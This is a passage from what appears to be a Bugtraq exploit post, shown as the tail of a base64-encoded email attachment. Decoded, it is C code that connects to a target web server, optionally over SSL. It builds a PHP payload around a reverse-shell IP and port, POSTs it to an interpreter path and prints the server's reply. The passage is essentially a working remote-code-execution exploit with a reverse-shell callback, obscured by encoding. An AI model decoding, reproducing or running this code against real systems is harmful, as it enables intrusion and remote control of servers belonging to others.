DQogICBzb2NrZmQgPSBzb2NrZXQoQUZfSU5FVCwgU09DS19TVFJFQU0sIDApOw0KICAgaWYgKHNv Y2tmZCA8IDEpIHsgDQoJIHByaW50Zigic29ja2V0IGVycm9yICg4KVxuIik7DQoJIGV4aXQoMjU1 KTsNCiAgIH0NCiAgDQogICBpZiAoY29ubmVjdChzb2NrZmQsICh2b2lkKilzZXJ2ZXIsIHNpemVv ZihzdHJ1Y3Qgc29ja2FkZHJfaW4pKSA8IDApIHsNCiAgICBwcmludGYoImNvbm5lY3QgZXJyb3Ig KDkpXG4iKTsNCiAgICBleGl0KDI1NSk7CSAgDQogICB9DQogICBpZiAoaHR0cHNmbGFnKSB7DQog ICAgc3NsY29ubmVjdGlvbiA9IChjb25uZWN0aW9uKikgbWFsbG9jKHNpemVvZihjb25uZWN0aW9u KSk7DQogICAgaWYgKCFzc2xjb25uZWN0aW9uKSB7DQogICAgIHByaW50ZigibWFsbG9jIGVycm9y ICgxMClcbiIpOw0KICAgICBleGl0KDI1NSk7ICAgDQogICAgfQ0KICAgIHNzbGNvbm5lY3Rpb24t PmhhbmRsZSA9IE5VTEw7DQogICAgc3NsY29ubmVjdGlvbi0+Y3R4ID0gTlVMTDsNCg0KICAgIFNT TF9saWJyYXJ5X2luaXQoKTsNCg0KICAgIHNzbGNvbm5lY3Rpb24tPmN0eCA9IFNTTF9DVFhfbmV3 KFNTTHYyM19jbGllbnRfbWV0aG9kKCkpOw0KICAgIGlmICghc3NsY29ubmVjdGlvbi0+Y3R4KSB7 DQogCSBwcmludGYoIlNTTF9DVFhfbmV3IGVycm9yICgxMSlcbiIpOw0KICAgICBleGl0KDI1NSk7 DQogICAgfQ0KDQogICAgc3NsY29ubmVjdGlvbi0+aGFuZGxlID0gU1NMX25ldyhzc2xjb25uZWN0 aW9uLT5jdHgpOw0KICAgIGlmICghc3NsY29ubmVjdGlvbi0+aGFuZGxlKSB7DQogCSBwcmludGYo IlNTTF9uZXcgZXJyb3IgKDEyKVxuIik7DQoJIGV4aXQoMjU1KTsgICANCiAgICB9DQogICAgaWYg KCFTU0xfc2V0X2ZkKHNzbGNvbm5lY3Rpb24tPmhhbmRsZSwgc29ja2ZkKSkgew0KIAkgcHJpbnRm KCJTU0xfc2V0X2ZkIGVycm9yICgxMylcbiIpOw0KICAgICBleGl0KDI1NSk7DQogICAgfQ0KICAg DQogICAgaWYgKFNTTF9jb25uZWN0KHNzbGNvbm5lY3Rpb24tPmhhbmRsZSkgIT0gMSkgew0KCSBw cmludGYoIlNTTF9jb25uZWN0IGVycm9yICgxNClcbiIpOw0KICAgICBleGl0KDI1NSk7ICAgICAg IA0KICAgIH0NCiAgIH0NCiAgDQogICB0bXBzaXplID0gc3RybGVuKHBocHN0cikgKyBzdHJsZW4o cmV2ZXJzZWlwKSArIHN0cmxlbihyZXZlcnNlcG9ydHN0cikgKyA2NDsNCiAgIHRtcHN0ciA9IChj aGFyKiljYWxsb2ModG1wc2l6ZSwgc2l6ZW9mKGNoYXIpKTsNCiAgIHNucHJpbnRmKHRtcHN0ciwg dG1wc2l6ZSwgcGhwc3RyLCByZXZlcnNlaXAsIHJldmVyc2Vwb3J0KTsNCiAgIA0KICAgd3JpdGVz aXplID0gc3RybGVuKHRhcmdldCkgKyBzdHJsZW4oaW50ZXJwcmV0ZXIpICsgDQogICAgIHN0cmxl bihwb3N0c3RyKSArIHN0cmxlbih0bXBzdHIpICsgNjQ7DQogICB3cml0ZXN0ciA9IChjaGFyKilj YWxsb2Mod3JpdGVzaXplLCBzaXplb2YoY2hhcikpOw0KICAgc25wcmludGYod3JpdGVzdHIsIHdy aXRlc2l6ZSwgcG9zdHN0ciwgaW50ZXJwcmV0ZXIsDQogICAgIHRhcmdldCwgc3RybGVuKHRtcHN0 ciksIHRtcHN0cik7DQogIA0KICAgaWYgKCFodHRwc2ZsYWcpIHsNCgkgd3JpdGUoc29ja2ZkLCB3 cml0ZXN0ciwgc3RybGVuKHdyaXRlc3RyKSk7DQoJIHJlYWRidWYgPSByZWFkXyhzb2NrZmQpOw0K ICAgfSBlbHNlIHsNCgkgU1NMX3dyaXRlKHNzbGNvbm5lY3Rpb24tPmhhbmRsZSwgd3JpdGVzdHIs IHN0cmxlbih3cml0ZXN0cikpOw0KCSByZWFkYnVmID0gc3NscmVhZChzc2xjb25uZWN0aW9uKTsN CiAgIH0NCiAgDQogICBpZiAocmVhZGJ1Zikgew0KICAgICBwcmludGYoIioqKlNFUlZFUiBSRVNQ T05TRSoqKlxuXG4lc1xuXG4iLCByZWFkYnVmKTsgIA0KICAgfSBlbHNlIHsNCiAgICBwcmludGYo InJlYWQgZXJyb3IgKDE1KVxuIik7DQogICAgZXhpdCgyNTUpOwkgIA0KICAgfQ0KICB9DQogIGV4 aXQoMSk7DQp9DQoNCg== --089e01634aa675c71b04e9e41b8e--
文章代碼(AID): #1Ijaydt5 (Bugtraq)